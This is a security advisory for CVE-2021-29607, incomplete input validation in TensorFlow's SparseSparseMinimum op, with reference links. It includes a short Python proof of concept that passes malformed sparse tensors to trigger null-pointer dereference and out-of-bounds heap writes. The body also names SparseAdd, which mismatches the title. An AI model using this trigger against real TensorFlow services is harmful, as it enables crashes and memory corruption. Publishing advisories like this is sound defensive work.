CVE-2021-29607: Incomplete validation in `SparseSparseMinimum`
(updated )
Incomplete validation in SparseAdd results in allowing attackers to exploit undefined behavior (dereferencing null pointers) as well as write outside of bounds of heap allocated data:
import tensorflow as tf
a_indices = tf.ones([45, 92], dtype=tf.int64)
a_values = tf.ones([45], dtype=tf.int64)
a_shape = tf.ones([1], dtype=tf.int64)
b_indices = tf.ones([1, 1], dtype=tf.int64)
b_values = tf.ones([1], dtype=tf.int64)
b_shape = tf.ones([1], dtype=tf.int64)
tf.raw_ops.SparseSparseMinimum(a_indices=a_indices,
a_values=a_values,
a_shape=a_shape,
b_indices=b_indices,
b_values=b_values,
b_shape=b_shape)
References
- github.com/advisories/GHSA-gv26-jpj9-c8gq
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-535.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-733.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-244.yaml
- github.com/tensorflow/tensorflow/commit/ba6822bd7b7324ba201a28b2f278c29a98edbef2
- github.com/tensorflow/tensorflow/commit/f6fde895ef9c77d848061c0517f19d0ec2682f3a
- github.com/tensorflow/tensorflow/security/advisories/GHSA-gv26-jpj9-c8gq
- nvd.nist.gov/vuln/detail/CVE-2021-29607
Code Behaviors & Features
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